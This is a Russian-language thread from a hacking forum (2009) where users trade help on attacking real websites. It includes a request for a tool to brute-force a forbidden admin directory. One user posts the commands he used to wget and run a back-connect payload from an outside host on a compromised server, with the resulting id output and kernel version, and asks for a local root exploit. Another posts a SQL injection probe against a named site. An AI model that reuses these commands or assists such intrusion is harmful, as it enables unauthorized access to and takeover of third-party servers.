 |
|
25.09.2009, 17:45
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами:
10058786
Репутация:
4589
|
|
Нет.
|
|
|
25.09.2009, 17:48
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 103
С нами:
8954306
Репутация:
1588
|
|
Сообщение от BlackSun
Нет.
Почему нельзя 
Если попробовать манипуляции со скриптом, могут появится различные дополнительные ошибки 
|
|
|
|
25.09.2009, 17:51
|
|
Banned
Регистрация: 27.10.2008
Сообщений: 78
С нами:
9230726
Репутация:
454
|
|
скуля тут не прокатит. Раскрытие путей разве что
|
|
|
|
25.09.2009, 17:56
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами:
10058786
Репутация:
4589
|
|
Сообщение от [x60]unu
Почему нельзя
Если попробовать манипуляции со скриптом, могут появится различные дополнительные ошибки Ну и толку? Раскрытие путей уже получили, но конекта то с БД нет .. конкретно с его скрипта доп-но ничего не выжать, учитывая ту информацию, что он предоставил в этой ветке.
|
|
|
|
25.09.2009, 22:27
|
|
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
С нами:
9328846
Репутация:
270
|
|
такая проблема ,есть сайт надо найти админку,
site/admin/ 403 форбайден.
мне надо найди файлы в папке site/admin/,если ли софт для брута файлов?
можно канешно сгенирить списки,и прочекать линки ,но это на случай что спец софта нету
|
|
|
|
26.09.2009, 12:42
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от Shadrin
такая проблема ,есть сайт надо найти админку,
site/admin/ 403 форбайден.
мне надо найди файлы в папке site/admin/,если ли софт для брута файлов?
можно канешно сгенирить списки,и прочекать линки ,но это на случай что спец софта нету
Если в .htaccess на все файлы стоит Forbidden, то никак.
Есть вопрос по руту сервака. Делаю back-коннект к себе. Комманды:
Код:
cd /tmp
wget http://evilcode.hmarka.net/2.tgz
gcc run.c -O run
./run
padlina z lublina! //это выводит после запуска
id
Код:
uid=48(apache) gid=48(apache) groups=48(apache),503(nismo),504(shopua@rambler.ru),505(shopua555),506(kamar),507(geniewgen)
Т.е. сервак не порутался... Как его порутать? Есть ли сплоит какой?
Код:
Linux shopua.com.ua 2.6.26.8-57.fc8 #1 SMP Thu Dec 18 19:19:45 EST 2008 i686 athlon i386 GNU/Linux
|
|
|
|
26.09.2009, 12:50
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
mailbrush, пробуй другие, на милворме полно аналогичных
|
|
|
|
26.09.2009, 12:52
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от Spyder
mailbrush, пробуй другие, на милворме полно аналогичных
Только эти аналогичные не хотят компилиться нигде...
|
|
|
|
26.09.2009, 14:04
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами:
9594385
Репутация:
386
|
|
Можно ли тут чтонить зделать тут ? у меня невышло =\
lineager.ru/lwdb/index.php?part=items&id=1+and+79=79
|
|
|
|
26.09.2009, 14:16
|
|
Участник форума
Регистрация: 03.09.2009
Сообщений: 179
С нами:
8782736
Репутация:
90
|
|
нельзя, там фильтруется
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [x60]unu](/avatars/avatar84758.jpg?1547470){kind=avatar}
Похожие темы
Линейный вид
